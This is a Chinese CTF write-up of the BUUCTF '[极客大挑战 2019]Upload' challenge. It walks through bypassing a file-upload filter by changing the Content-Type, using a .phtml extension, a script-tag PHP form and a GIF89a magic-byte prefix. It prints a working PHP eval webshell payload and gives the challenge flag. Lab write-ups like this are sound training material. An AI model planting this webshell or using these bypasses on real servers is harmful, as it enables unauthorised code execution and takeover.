分享

BUUCTF-[极客大挑战 2019]Upload Writeup

 头号码甲 2022-10-17 发布于北京

0x01  题目

0x02  解题过程

尝试把一句话木马原封不动上传,提示需要image。

 

 那行,咱继续尝试各种文件上传姿势。首先改Content-Type为image/jpeg。

 

 

 

 看来后缀名不能为php,那么再改各种后缀名试试,例如,php3,php4,php5,phtml,phar。我改成phtml。

 

 

 看来不能含有'<?', 那么我们就需要把php换一种格式了,看下图:

 

 还是不行,叫我别骗他了窝。那行,那我再骗一波,加上gif的文件幻数,在PHP代码前加上GIF89a:

 

GIF89a
<script language="php">
@eval($_POST['hacker']);
</script>

 

 

 

 搞定,但没有显示文件路径,猜测在upload目录下,于是尝试访问:

 

 

 只看到GIF89a,但看不到脚本代码,一般是成功了,用蚁剑尝试连接:

 

 连上了以后直接在根目录下找到flag,完成。

flag{2e58d7d7-b6c2-44a2-9890-aae4edfdbcfc}

 

最后,欢迎师傅们指正和讨论~

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多